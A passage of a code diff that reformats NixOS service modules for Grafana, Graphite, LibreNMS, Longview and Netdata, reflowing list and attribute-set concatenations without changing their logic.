         CapabilityBoundingSet = [ "" ];
diff --git a/nixos/modules/services/monitoring/grafana.nix b/nixos/modules/services/monitoring/grafana.nix
index a4156137e3f9..37207474901c 100644
--- a/nixos/modules/services/monitoring/grafana.nix
+++ b/nixos/modules/services/monitoring/grafana.nix
@@ -2018,10 +2018,11 @@ in
     systemd.services.grafana = {
       description = "Grafana Service Daemon";
       wantedBy = [ "multi-user.target" ];
-      after =
-        [ "networking.target" ]
-        ++ lib.optional usePostgresql "postgresql.service"
-        ++ lib.optional useMysql "mysql.service";
+      after = [
+        "networking.target"
+      ]
+      ++ lib.optional usePostgresql "postgresql.service"
+      ++ lib.optional useMysql "mysql.service";
       script = ''
         set -o errexit -o pipefail -o nounset -o errtrace
         shopt -s inherit_errexit
@@ -2067,7 +2068,8 @@ in
         SystemCallFilter = [
           "@system-service"
           "~@privileged"
-        ] ++ lib.optionals (cfg.settings.server.protocol == "socket") [ "@chown" ];
+        ]
+        ++ lib.optionals (cfg.settings.server.protocol == "socket") [ "@chown" ];
         UMask = "0027";
       };
       preStart = ''
diff --git a/nixos/modules/services/monitoring/graphite.nix b/nixos/modules/services/monitoring/graphite.nix
index fc65c07e5dfa..16d68279df3f 100644
--- a/nixos/modules/services/monitoring/graphite.nix
+++ b/nixos/modules/services/monitoring/graphite.nix
@@ -34,7 +34,8 @@ let
     SEYREN_URL = cfg.seyren.seyrenUrl;
     MONGO_URL = cfg.seyren.mongoUrl;
     GRAPHITE_URL = cfg.seyren.graphiteUrl;
-  } // cfg.seyren.extraConfig;
+  }
+  // cfg.seyren.extraConfig;
 
   configDir = pkgs.buildEnv {
     name = "graphite-config";
diff --git a/nixos/modules/services/monitoring/librenms.nix b/nixos/modules/services/monitoring/librenms.nix
index 06ee43f2a26d..43e5299cbdd6 100644
--- a/nixos/modules/services/monitoring/librenms.nix
+++ b/nixos/modules/services/monitoring/librenms.nix
@@ -399,48 +399,47 @@ in
 
     users.groups.${cfg.group} = { };
 
-    services.librenms.settings =
-      {
-        # basic configs
-        "user" = cfg.user;
-        "own_hostname" = cfg.hostname;
-        "base_url" = lib.mkDefault "/";
-        "auth_mechanism" = lib.mkDefault "mysql";
+    services.librenms.settings = {
+      # basic configs
+      "user" = cfg.user;
+      "own_hostname" = cfg.hostname;
+      "base_url" = lib.mkDefault "/";
+      "auth_mechanism" = lib.mkDefault "mysql";
 
-        # disable auto update function (won't work with NixOS)
-        "update" = false;
+      # disable auto update function (won't work with NixOS)
+      "update" = false;
 
-        # enable fast ping by default
-        "ping_rrd_step" = 60;
+      # enable fast ping by default
+      "ping_rrd_step" = 60;
 
-        # set default memory limit to 1G
-        "php_memory_limit" = lib.mkDefault 1024;
+      # set default memory limit to 1G
+      "php_memory_limit" = lib.mkDefault 1024;
 
-        # one minute polling
-        "rrd.step" = if cfg.enableOneMinutePolling then 60 else 300;
-        "rrd.heartbeat" = if cfg.enableOneMinutePolling then 120 else 600;
-      }
-      // (lib.optionalAttrs cfg.distributedPoller.enable {
-        "distributed_poller" = true;
-        "distributed_poller_name" = lib.mkIf (
-          cfg.distributedPoller.name != null
-        ) cfg.distributedPoller.name;
-        "distributed_poller_group" = cfg.distributedPoller.group;
-        "distributed_billing" = cfg.distributedPoller.distributedBilling;
-        "distributed_poller_memcached_host" = cfg.distributedPoller.memcachedHost;
-        "distributed_poller_memcached_port" = cfg.distributedPoller.memcachedPort;
-        "rrdcached" =
-          "${cfg.distributedPoller.rrdcachedHost}:${toString cfg.distributedPoller.rrdcachedPort}";
-      })
-      // (lib.optionalAttrs cfg.useDistributedPollers {
-        "distributed_poller" = true;
-        # still enable a local poller with distributed polling
-        "distributed_poller_group" = lib.mkDefault "0";
-        "distributed_billing" = lib.mkDefault true;
-        "distributed_poller_memcached_host" = "localhost";
-        "distributed_poller_memcached_port" = 11211;
-        "rrdcached" = "localhost:42217";
-      });
+      # one minute polling
+      "rrd.step" = if cfg.enableOneMinutePolling then 60 else 300;
+      "rrd.heartbeat" = if cfg.enableOneMinutePolling then 120 else 600;
+    }
+    // (lib.optionalAttrs cfg.distributedPoller.enable {
+      "distributed_poller" = true;
+      "distributed_poller_name" = lib.mkIf (
+        cfg.distributedPoller.name != null
+      ) cfg.distributedPoller.name;
+      "distributed_poller_group" = cfg.distributedPoller.group;
+      "distributed_billing" = cfg.distributedPoller.distributedBilling;
+      "distributed_poller_memcached_host" = cfg.distributedPoller.memcachedHost;
+      "distributed_poller_memcached_port" = cfg.distributedPoller.memcachedPort;
+      "rrdcached" =
+        "${cfg.distributedPoller.rrdcachedHost}:${toString cfg.distributedPoller.rrdcachedPort}";
+    })
+    // (lib.optionalAttrs cfg.useDistributedPollers {
+      "distributed_poller" = true;
+      # still enable a local poller with distributed polling
+      "distributed_poller_group" = lib.mkDefault "0";
+      "distributed_billing" = lib.mkDefault true;
+      "distributed_poller_memcached_host" = "localhost";
+      "distributed_poller_memcached_port" = 11211;
+      "rrdcached" = "localhost:42217";
+    });
 
     services.memcached = lib.mkIf cfg.useDistributedPollers {
       enable = true;
@@ -466,14 +465,13 @@ in
     services.mysql = lib.mkIf cfg.database.createLocally {
       enable = true;
       package = lib.mkDefault pkgs.mariadb;
-      settings.mysqld =
-        {
-          innodb_file_per_table = 1;
-          lower_case_table_names = 0;
-        }
-        // (lib.optionalAttrs cfg.useDistributedPollers {
-          bind-address = "0.0.0.0";
-        });
+      settings.mysqld = {
+        innodb_file_per_table = 1;
+        lower_case_table_names = 0;
+      }
+      // (lib.optionalAttrs cfg.useDistributedPollers {
+        bind-address = "0.0.0.0";
+      });
       ensureDatabases = [ cfg.database.database ];
       ensureUsers = [
         {
@@ -518,7 +516,8 @@ in
         "listen.mode" = "0660";
         "listen.owner" = config.services.nginx.user;
         "listen.group" = config.services.nginx.group;
-      } // cfg.poolConfig;
+      }
+      // cfg.poolConfig;
     };
 
     systemd.services.librenms-scheduler = {
@@ -548,7 +547,8 @@ in
       after = [
         "systemd-tmpfiles-setup.service"
         "network.target"
-      ] ++ (lib.optional (cfg.database.host == "localhost") "mysql.service");
+      ]
+      ++ (lib.optional (cfg.database.host == "localhost") "mysql.service");
       wantedBy = [ "multi-user.target" ];
       restartTriggers = [
         package
@@ -587,89 +587,88 @@ in
           }"
         ];
       };
-      script =
-        ''
-          set -euo pipefail
+      script = ''
+        set -euo pipefail
 
-          # config setup
-          ln -sf ${configFile} ${cfg.dataDir}/config.php
-          ${pkgs.envsubst}/bin/envsubst -i ${configJson} -o ${cfg.dataDir}/config.json
-          export PHPRC=${phpIni}
+        # config setup
+        ln -sf ${configFile} ${cfg.dataDir}/config.php
+        ${pkgs.envsubst}/bin/envsubst -i ${configJson} -o ${cfg.dataDir}/config.json
+        export PHPRC=${phpIni}
 
-          INIT=false
-          if [[ ! -s ${cfg.dataDir}/.env ]]; then
-            INIT=true
-            # init .env file
-            echo "APP_KEY=" > ${cfg.dataDir}/.env
-            ${artisanWrapper}/bin/librenms-artisan key:generate --ansi
-            ${artisanWrapper}/bin/librenms-artisan webpush:vapid
-            echo "" >> ${cfg.dataDir}/.env
-            echo -n "NODE_ID=" >> ${cfg.dataDir}/.env
-            ${package.phpPackage}/bin/php -r "echo uniqid();" >> ${cfg.dataDir}/.env
-            echo "" >> ${cfg.dataDir}/.env
-          else
-            # .env file already exists --> only update database and cache config
-            ${pkgs.gnused}/bin/sed -i /^DB_/d ${cfg.dataDir}/.env
-            ${pkgs.gnused}/bin/sed -i /^CACHE_DRIVER/d ${cfg.dataDir}/.env
-          fi
-          ${lib.optionalString (cfg.useDistributedPollers || cfg.distributedPoller.enable) ''
-            echo "CACHE_DRIVER=memcached" >> ${cfg.dataDir}/.env
-          ''}
-          echo "DB_DATABASE=${cfg.database.database}" >> ${cfg.dataDir}/.env
-        ''
-        + (
-          if !isNull cfg.database.socket then
-            ''
-              # use socket connection
-              echo "DB_SOCKET=${cfg.database.socket}" >> ${cfg.dataDir}/.env
-              echo "DB_PASSWORD=null" >> ${cfg.dataDir}/.env
-            ''
-          else
-            ''
-              # use TCP connection
-              echo "DB_HOST=${cfg.database.host}" >> ${cfg.dataDir}/.env
-              echo "DB_PORT=${toString cfg.database.port}" >> ${cfg.dataDir}/.env
-              echo "DB_USERNAME=${cfg.database.username}" >> ${cfg.dataDir}/.env
-              echo -n "DB_PASSWORD=" >> ${cfg.dataDir}/.env
-              cat ${cfg.database.passwordFile} >> ${cfg.dataDir}/.env
-            ''
-        )
-        + ''
-          # clear cache if package has changed (cache may contain cached paths
-          # to the old package)
-          OLD_PACKAGE=$(cat ${cfg.dataDir}/package)
-          if [[ $OLD_PACKAGE != "${package}" ]]; then
-            rm -r ${cfg.dataDir}/cache/*
-          fi
+        INIT=false
+        if [[ ! -s ${cfg.dataDir}/.env ]]; then
+          INIT=true
+          # init .env file
+          echo "APP_KEY=" > ${cfg.dataDir}/.env
+          ${artisanWrapper}/bin/librenms-artisan key:generate --ansi
+          ${artisanWrapper}/bin/librenms-artisan webpush:vapid
+          echo "" >> ${cfg.dataDir}/.env
+          echo -n "NODE_ID=" >> ${cfg.dataDir}/.env
+          ${package.phpPackage}/bin/php -r "echo uniqid();" >> ${cfg.dataDir}/.env
+          echo "" >> ${cfg.dataDir}/.env
+        else
+          # .env file already exists --> only update database and cache config
+          ${pkgs.gnused}/bin/sed -i /^DB_/d ${cfg.dataDir}/.env
+          ${pkgs.gnused}/bin/sed -i /^CACHE_DRIVER/d ${cfg.dataDir}/.env
+        fi
+        ${lib.optionalString (cfg.useDistributedPollers || cfg.distributedPoller.enable) ''
+          echo "CACHE_DRIVER=memcached" >> ${cfg.dataDir}/.env
+        ''}
+        echo "DB_DATABASE=${cfg.database.database}" >> ${cfg.dataDir}/.env
+      ''
+      + (
+        if !isNull cfg.database.socket then
+          ''
+            # use socket connection
+            echo "DB_SOCKET=${cfg.database.socket}" >> ${cfg.dataDir}/.env
+            echo "DB_PASSWORD=null" >> ${cfg.dataDir}/.env
+          ''
+        else
+          ''
+            # use TCP connection
+            echo "DB_HOST=${cfg.database.host}" >> ${cfg.dataDir}/.env
+            echo "DB_PORT=${toString cfg.database.port}" >> ${cfg.dataDir}/.env
+            echo "DB_USERNAME=${cfg.database.username}" >> ${cfg.dataDir}/.env
+            echo -n "DB_PASSWORD=" >> ${cfg.dataDir}/.env
+            cat ${cfg.database.passwordFile} >> ${cfg.dataDir}/.env
+          ''
+      )
+      + ''
+        # clear cache if package has changed (cache may contain cached paths
+        # to the old package)
+        OLD_PACKAGE=$(cat ${cfg.dataDir}/package)
+        if [[ $OLD_PACKAGE != "${package}" ]]; then
+          rm -r ${cfg.dataDir}/cache/*
+        fi
 
-          # convert rrd files when the oneMinutePolling option is changed
-          OLD_ENABLED=$(cat ${cfg.dataDir}/one_minute_enabled)
-          if [[ $OLD_ENABLED != "${lib.boolToString cfg.enableOneMinutePolling}" ]]; then
-            ${package}/scripts/rrdstep.php -h all
-            echo "${lib.boolToString cfg.enableOneMinutePolling}" > ${cfg.dataDir}/one_minute_enabled
-          fi
+        # convert rrd files when the oneMinutePolling option is changed
+        OLD_ENABLED=$(cat ${cfg.dataDir}/one_minute_enabled)
+        if [[ $OLD_ENABLED != "${lib.boolToString cfg.enableOneMinutePolling}" ]]; then
+          ${package}/scripts/rrdstep.php -h all
+          echo "${lib.boolToString cfg.enableOneMinutePolling}" > ${cfg.dataDir}/one_minute_enabled
+        fi
 
-          # migrate db if package version has changed
-          # not necessary for every package change
-          OLD_VERSION=$(cat ${cfg.dataDir}/version)
-          if [[ $OLD_VERSION != "${package.version}" ]]; then
-            ${artisanWrapper}/bin/librenms-artisan migrate --force --no-interaction
-            echo "${package.version}" > ${cfg.dataDir}/version
-          fi
+        # migrate db if package version has changed
+        # not necessary for every package change
+        OLD_VERSION=$(cat ${cfg.dataDir}/version)
+        if [[ $OLD_VERSION != "${package.version}" ]]; then
+          ${artisanWrapper}/bin/librenms-artisan migrate --force --no-interaction
+          echo "${package.version}" > ${cfg.dataDir}/version
+        fi
 
-          if [[ $INIT == "true" ]]; then
-            ${artisanWrapper}/bin/librenms-artisan db:seed --force --no-interaction
-          fi
+        if [[ $INIT == "true" ]]; then
+          ${artisanWrapper}/bin/librenms-artisan db:seed --force --no-interaction
+        fi
 
-          # regenerate cache if package has changed
-          if [[ $OLD_PACKAGE != "${package}" ]]; then
-            ${artisanWrapper}/bin/librenms-artisan view:clear
-            ${artisanWrapper}/bin/librenms-artisan optimize:clear
-            ${artisanWrapper}/bin/librenms-artisan view:cache
-            ${artisanWrapper}/bin/librenms-artisan optimize
-            echo "${package}" > ${cfg.dataDir}/package
-          fi
-        '';
+        # regenerate cache if package has changed
+        if [[ $OLD_PACKAGE != "${package}" ]]; then
+          ${artisanWrapper}/bin/librenms-artisan view:clear
+          ${artisanWrapper}/bin/librenms-artisan optimize:clear
+          ${artisanWrapper}/bin/librenms-artisan view:cache
+          ${artisanWrapper}/bin/librenms-artisan optimize
+          echo "${package}" > ${cfg.dataDir}/package
+        fi
+      '';
     };
 
     programs.mtr.enable = true;
@@ -735,30 +734,29 @@ in
       lnmsWrapper
     ];
 
-    systemd.tmpfiles.rules =
-      [
-        "d ${cfg.logDir}                               0750 ${cfg.user} ${cfg.group} - -"
-        "f ${cfg.logDir}/librenms.log                  0640 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}                              0750 ${cfg.user} ${cfg.group} - -"
-        "f ${cfg.dataDir}/.env                         0600 ${cfg.user} ${cfg.group} - -"
-        "f ${cfg.dataDir}/version                      0600 ${cfg.user} ${cfg.group} - -"
-        "f ${cfg.dataDir}/package                      0600 ${cfg.user} ${cfg.group} - -"
-        "f ${cfg.dataDir}/one_minute_enabled           0600 ${cfg.user} ${cfg.group} - -"
-        "f ${cfg.dataDir}/config.json                  0600 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}/storage                      0700 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}/storage/app                  0700 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}/storage/debugbar             0700 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}/storage/framework            0700 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}/storage/framework/cache      0700 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}/storage/framework/sessions   0700 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}/storage/framework/views      0700 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}/storage/logs                 0700 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}/rrd                          0700 ${cfg.user} ${cfg.group} - -"
-        "d ${cfg.dataDir}/cache                        0700 ${cfg.user} ${cfg.group} - -"
-      ]
-      ++ lib.optionals cfg.useDistributedPollers [
-        "d ${cfg.dataDir}/rrdcached-journal            0700 ${cfg.user} ${cfg.group} - -"
-      ];
+    systemd.tmpfiles.rules = [
+      "d ${cfg.logDir}                               0750 ${cfg.user} ${cfg.group} - -"
+      "f ${cfg.logDir}/librenms.log                  0640 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}                              0750 ${cfg.user} ${cfg.group} - -"
+      "f ${cfg.dataDir}/.env                         0600 ${cfg.user} ${cfg.group} - -"
+      "f ${cfg.dataDir}/version                      0600 ${cfg.user} ${cfg.group} - -"
+      "f ${cfg.dataDir}/package                      0600 ${cfg.user} ${cfg.group} - -"
+      "f ${cfg.dataDir}/one_minute_enabled           0600 ${cfg.user} ${cfg.group} - -"
+      "f ${cfg.dataDir}/config.json                  0600 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}/storage                      0700 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}/storage/app                  0700 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}/storage/debugbar             0700 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}/storage/framework            0700 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}/storage/framework/cache      0700 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}/storage/framework/sessions   0700 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}/storage/framework/views      0700 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}/storage/logs                 0700 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}/rrd                          0700 ${cfg.user} ${cfg.group} - -"
+      "d ${cfg.dataDir}/cache                        0700 ${cfg.user} ${cfg.group} - -"
+    ]
+    ++ lib.optionals cfg.useDistributedPollers [
+      "d ${cfg.dataDir}/rrdcached-journal            0700 ${cfg.user} ${cfg.group} - -"
+    ];
 
   };
 
diff --git a/nixos/modules/services/monitoring/longview.nix b/nixos/modules/services/monitoring/longview.nix
index b4a690a7f1d3..8ca975760c60 100644
--- a/nixos/modules/services/monitoring/longview.nix
+++ b/nixos/modules/services/monitoring/longview.nix
@@ -116,30 +116,29 @@ in
       serviceConfig.ExecReload = "-${pkgs.coreutils}/bin/kill -HUP $MAINPID";
       serviceConfig.PIDFile = "${runDir}/longview.pid";
       serviceConfig.ExecStart = "${pkgs.longview}/bin/longview";
-      preStart =
-        ''
-          umask 077
-          mkdir -p ${configsDir}
-        ''
-        + (lib.optionalString (cfg.apiKeyFile != null) ''
-          cp --no-preserve=all "${cfg.apiKeyFile}" ${runDir}/longview.key
-        '')
-        + (lib.optionalString (cfg.apacheStatusUrl != "") ''
-          cat > ${configsDir}/Apache.conf <<EOF
-          location ${cfg.apacheStatusUrl}?auto
-          EOF
-        '')
-        + (lib.optionalString (cfg.mysqlUser != "" && cfg.mysqlPasswordFile != null) ''
-          cat > ${configsDir}/MySQL.conf <<EOF
-          username ${cfg.mysqlUser}
-          password `head -n1 "${cfg.mysqlPasswordFile}"`
-          EOF
-        '')
-        + (lib.optionalString (cfg.nginxStatusUrl != "") ''
-          cat > ${configsDir}/Nginx.conf <<EOF
-          location ${cfg.nginxStatusUrl}
-          EOF
-        '');
+      preStart = ''
+        umask 077
+        mkdir -p ${configsDir}
+      ''
+      + (lib.optionalString (cfg.apiKeyFile != null) ''
+        cp --no-preserve=all "${cfg.apiKeyFile}" ${runDir}/longview.key
+      '')
+      + (lib.optionalString (cfg.apacheStatusUrl != "") ''
+        cat > ${configsDir}/Apache.conf <<EOF
+        location ${cfg.apacheStatusUrl}?auto
+        EOF
+      '')
+      + (lib.optionalString (cfg.mysqlUser != "" && cfg.mysqlPasswordFile != null) ''
+        cat > ${configsDir}/MySQL.conf <<EOF
+        username ${cfg.mysqlUser}
+        password `head -n1 "${cfg.mysqlPasswordFile}"`
+        EOF
+      '')
+      + (lib.optionalString (cfg.nginxStatusUrl != "") ''
+        cat > ${configsDir}/Nginx.conf <<EOF
+        location ${cfg.nginxStatusUrl}
+        EOF
+      '');
     };
 
     warnings =
diff --git a/nixos/modules/services/monitoring/netdata.nix b/nixos/modules/services/monitoring/netdata.nix
index 1d74b948d74e..aa13abec2e93 100644
--- a/nixos/modules/services/monitoring/netdata.nix
+++ b/nixos/modules/services/monitoring/netdata.nix
@@ -23,7 +23,8 @@ let
   plugins = [
     "${cfg.package}/libexec/netdata/plugins.d"
     "${wrappedPlugins}/libexec/netdata/plugins.d"
-  ] ++ cfg.extraPluginPaths;
+  ]
+  ++ cfg.extraPluginPaths;
 
   configDirectory = pkgs.runCommand "netdata-config-d" { } ''
     mkdir $out
@@ -322,173 +323,171 @@ in
           config.virtualisation.podman.package
         ]
         ++ lib.optional config.boot.zfs.enabled config.boot.zfs.package;
-      environment =
-        {
-          PYTHONPATH = "${cfg.package}/libexec/netdata/python.d/python_modules";
-          NETDATA_PIPENAME = "/run/netdata/ipc";
-        }
-        // lib.optionalAttrs (!cfg.enableAnalyticsReporting) {
-          DO_NOT_TRACK = "1";
-        };
+      environment = {
+        PYTHONPATH = "${cfg.package}/libexec/netdata/python.d/python_modules";
+        NETDATA_PIPENAME = "/run/netdata/ipc";
+      }
+      // lib.optionalAttrs (!cfg.enableAnalyticsReporting) {
+        DO_NOT_TRACK = "1";
+      };
       restartTriggers = [
         config.environment.etc."netdata/netdata.conf".source
         config.environment.etc."netdata/conf.d".source
       ];
-      serviceConfig =
-        {
-          ExecStart = "${cfg.package}/bin/netdata -P /run/netdata/netdata.pid -D -c /etc/netdata/netdata.conf";
-          ExecReload = "${pkgs.util-linux}/bin/kill -s HUP -s USR1 -s USR2 $MAINPID";
-          ExecStartPost = pkgs.writeShellScript "wait-for-netdata-up" ''
-            while [ "$(${cfg.package}/bin/netdatacli ping)" != pong ]; do sleep 0.5; done
-          '';
+      serviceConfig = {
+        ExecStart = "${cfg.package}/bin/netdata -P /run/netdata/netdata.pid -D -c /etc/netdata/netdata.conf";
+        ExecReload = "${pkgs.util-linux}/bin/kill -s HUP -s USR1 -s USR2 $MAINPID";
+        ExecStartPost = pkgs.writeShellScript "wait-for-netdata-up" ''
+          while [ "$(${cfg.package}/bin/netdatacli ping)" != pong ]; do sleep 0.5; done
+        '';
 
-          TimeoutStopSec = cfg.deadlineBeforeStopSec;
-          Restart = "on-failure";
-          # User and group
-          User = cfg.user;
-          Group = cfg.group;
-          # Performance
-          LimitNOFILE = "30000";
-          # Runtime directory and mode
-          RuntimeDirectory = "netdata";
-          RuntimeDirectoryMode = "0750";
-          # State directory and mode
-          StateDirectory = "netdata";
-          StateDirectoryMode = "0750";
-          # Cache directory and mode
-          CacheDirectory = "netdata";
-          CacheDirectoryMode = "0750";
-          # Logs directory and mode
-          LogsDirectory = "netdata";
-          LogsDirectoryMode = "0750";
-          # Configuration directory and mode
-          ConfigurationDirectory = "netdata";
-          ConfigurationDirectoryMode = "0755";
-          # AmbientCapabilities
-          AmbientCapabilities = lib.optional isThereAnyWireGuardTunnels "CAP_NET_ADMIN";
-          # Capabilities
-          CapabilityBoundingSet = [
-            "CAP_DAC_OVERRIDE" # is required for freeipmi and slabinfo plugins
-            "CAP_DAC_READ_SEARCH" # is required for apps and systemd-journal plugin
-            "CAP_FOWNER" # is required for freeipmi plugin
-            "CAP_SETPCAP" # is required for apps, perf and slabinfo plugins
-            "CAP_SYS_ADMIN" # is required for perf plugin
-            "CAP_SYS_PTRACE" # is required for apps plugin
-            "CAP_SYS_RESOURCE" # is required for ebpf plugin
-            "CAP_NET_RAW" # is required for fping app
-            "CAP_SYS_CHROOT" # is required for cgroups plugin
-            "CAP_SETUID" # is required for cgroups and cgroups-network plugins
-            "CAP_SYSLOG" # is required for systemd-journal plugin
-          ] ++ lib.optional isThereAnyWireGuardTunnels "CAP_NET_ADMIN";
-          # Sandboxing
-          ProtectSystem = "full";
-          ProtectHome = "read-only";
-          PrivateTmp = true;
-          ProtectControlGroups = true;
-          PrivateMounts = true;
-        }
-        // (lib.optionalAttrs (cfg.claimTokenFile != null) {
-          LoadCredential = [
-            "netdata_claim_token:${cfg.claimTokenFile}"
-          ];
+        TimeoutStopSec = cfg.deadlineBeforeStopSec;
+        Restart = "on-failure";
+        # User and group
+        User = cfg.user;
+        Group = cfg.group;
+        # Performance
+        LimitNOFILE = "30000";
+        # Runtime directory and mode
+        RuntimeDirectory = "netdata";
+        RuntimeDirectoryMode = "0750";
+        # State directory and mode
+        StateDirectory = "netdata";
+        StateDirectoryMode = "0750";
+        # Cache directory and mode
+        CacheDirectory = "netdata";
+        CacheDirectoryMode = "0750";
+        # Logs directory and mode
+        LogsDirectory = "netdata";
+        LogsDirectoryMode = "0750";
+        # Configuration directory and mode
+        ConfigurationDirectory = "netdata";
+        ConfigurationDirectoryMode = "0755";
+        # AmbientCapabilities
+        AmbientCapabilities = lib.optional isThereAnyWireGuardTunnels "CAP_NET_ADMIN";
+        # Capabilities
+        CapabilityBoundingSet = [
+          "CAP_DAC_OVERRIDE" # is required for freeipmi and slabinfo plugins
+          "CAP_DAC_READ_SEARCH" # is required for apps and systemd-journal plugin
+          "CAP_FOWNER" # is required for freeipmi plugin
+          "CAP_SETPCAP" # is required for apps, perf and slabinfo plugins
+          "CAP_SYS_ADMIN" # is required for perf plugin
+          "CAP_SYS_PTRACE" # is required for apps plugin
+          "CAP_SYS_RESOURCE" # is required for ebpf plugin
+          "CAP_NET_RAW" # is required for fping app
+          "CAP_SYS_CHROOT" # is required for cgroups plugin
+          "CAP_SETUID" # is required for cgroups and cgroups-network plugins
+          "CAP_SYSLOG" # is required for systemd-journal plugin
+        ]
+        ++ lib.optional isThereAnyWireGuardTunnels "CAP_NET_ADMIN";
+        # Sandboxing
+        ProtectSystem = "full";
+        ProtectHome = "read-only";
+        PrivateTmp = true;
+        ProtectControlGroups = true;
+        PrivateMounts = true;
+      }
+      // (lib.optionalAttrs (cfg.claimTokenFile != null) {
+        LoadCredential = [
+          "netdata_claim_token:${cfg.claimTokenFile}"
+        ];
 
-          ExecStartPre = pkgs.writeShellScript "netdata-claim" ''
-            set -euo pipefail
+        ExecStartPre = pkgs.writeShellScript "netdata-claim" ''
+          set -euo pipefail
 
-            if [[ -f /var/lib/netdata/cloud.d/claimed_id ]]; then
-              # Already registered
-              exit
-            fi
+          if [[ -f /var/lib/netdata/cloud.d/claimed_id ]]; then
+            # Already registered
+            exit
+          fi
 
-            exec ${cfg.package}/bin/netdata-claim.sh \
-              -token="$(< "$CREDENTIALS_DIRECTORY/netdata_claim_token")" \
-              -url=https://app.netdata.cloud \
-              -daemon-not-running
-          '';
-        });
+          exec ${cfg.package}/bin/netdata-claim.sh \
+            -token="$(< "$CREDENTIALS_DIRECTORY/netdata_claim_token")" \
+            -url=https://app.netdata.cloud \
+            -daemon-not-running
+        '';
+      });
     };
 
     systemd.enableCgroupAccounting = true;
 
-    security.wrappers =
-      {
-        "apps.plugin" = {
-          source = "${cfg.package}/libexec/netdata/plugins.d/apps.plugin.org";
-          capabilities = "cap_dac_read_search,cap_sys_ptrace+ep";
-          owner = cfg.user;
-          group = cfg.group;
-          permissions = "u+rx,g+x,o-rwx";
-        };
-
-        "debugfs.plugin" = {
-          source = "${cfg.package}/libexec/netdata/plugins.d/debugfs.plugin.org";
-          capabilities = "cap_dac_read_search+ep";
-          owner = cfg.user;
-          group = cfg.group;
-          permissions = "u+rx,g+x,o-rwx";
-        };
-
-        "cgroup-network" = {
-          source = "${cfg.package}/libexec/netdata/plugins.d/cgroup-network.org";
-          capabilities = "cap_setuid+ep";
-          owner = cfg.user;
-          group = cfg.group;
-          permissions = "u+rx,g+x,o-rwx";
-        };
-
-        "perf.plugin" = {
-          source = "${cfg.package}/libexec/netdata/plugins.d/perf.plugin.org";
-          capabilities = "cap_sys_admin+ep";
-          owner = cfg.user;
-          group = cfg.group;
-          permissions = "u+rx,g+x,o-rwx";
-        };
-
-        "systemd-journal.plugin" = {
-          source = "${cfg.package}/libexec/netdata/plugins.d/systemd-journal.plugin.org";
-          capabilities = "cap_dac_read_search,cap_syslog+ep";
-          owner = cfg.user;
-          group = cfg.group;
-          permissions = "u+rx,g+x,o-rwx";
-        };
-
-        "slabinfo.plugin" = {
-          source = "${cfg.package}/libexec/netdata/plugins.d/slabinfo.plugin.org";
-          capabilities = "cap_dac_override+ep";
-          owner = cfg.user;
-          group = cfg.group;
-          permissions = "u+rx,g+x,o-rwx";
-        };
-
-      }
-      // lib.optionalAttrs (cfg.package.withIpmi) {
-        "freeipmi.plugin" = {
-          source = "${cfg.package}/libexec/netdata/plugins.d/freeipmi.plugin.org";
-          capabilities = "cap_dac_override,cap_fowner+ep";
-          owner = cfg.user;
-          group = cfg.group;
-          permissions = "u+rx,g+x,o-rwx";
-        };
-      }
-      // lib.optionalAttrs (cfg.package.withNetworkViewer) {
-        "network-viewer.plugin" = {
-          source = "${cfg.package}/libexec/netdata/plugins.d/network-viewer.plugin.org";
-          capabilities = "cap_sys_admin,cap_dac_read_search,cap_sys_ptrace+ep";
-          owner = cfg.user;
-          group = cfg.group;
-          permissions = "u+rx,g+x,o-rwx";
-        };
-      }
-      // lib.optionalAttrs (cfg.package.withNdsudo) {
-        "ndsudo" = {
-          source = "${cfg.package}/libexec/netdata/plugins.d/ndsudo.org";
-          setuid = true;
-          owner = "root";
-          group = cfg.group;
-          permissions = "u+rx,g+x,o-rwx";
-        };
+    security.wrappers = {
+      "apps.plugin" = {
+        source = "${cfg.package}/libexec/netdata/plugins.d/apps.plugin.org";
+        capabilities = "cap_dac_read_search,cap_sys_ptrace+ep";
+        owner = cfg.user;
+        group = cfg.group;
+        permissions = "u+rx,g+x,o-rwx";
       };
 
+      "debugfs.plugin" = {
+        source = "${cfg.package}/libexec/netdata/plugins.d/debugfs.plugin.org";
+        capabilities = "cap_dac_read_search+ep";
+        owner = cfg.user;
+        group = cfg.group;
+        permissions = "u+rx,g+x,o-rwx";
+      };
+
+      "cgroup-network" = {
+        source = "${cfg.package}/libexec/netdata/plugins.d/cgroup-network.org";
+        capabilities = "cap_setuid+ep";
+        owner = cfg.user;
+        group = cfg.group;
+        permissions = "u+rx,g+x,o-rwx";
+      };
+
+      "perf.plugin" = {
+        source = "${cfg.package}/libexec/netdata/plugins.d/perf.plugin.org";
+        capabilities = "cap_sys_admin+ep";
+        owner = cfg.user;
+        group = cfg.group;
+        permissions = "u+rx,g+x,o-rwx";
+      };
+
+      "systemd-journal.plugin" = {
+        source = "${cfg.package}/libexec/netdata/plugins.d/systemd-journal.plugin.org";
+        capabilities = "cap_dac_read_search,cap_syslog+ep";
+        owner = cfg.user;
+        group = cfg.group;
+        permissions = "u+rx,g+x,o-rwx";
+      };
+
+      "slabinfo.plugin" = {
+        source = "${cfg.package}/libexec/netdata/plugins.d/slabinfo.plugin.org";
+        capabilities = "cap_dac_override+ep";
+        owner = cfg.user;
+        group = cfg.group;
+        permissions = "u+rx,g+x,o-rwx";
+      };
+
+    }
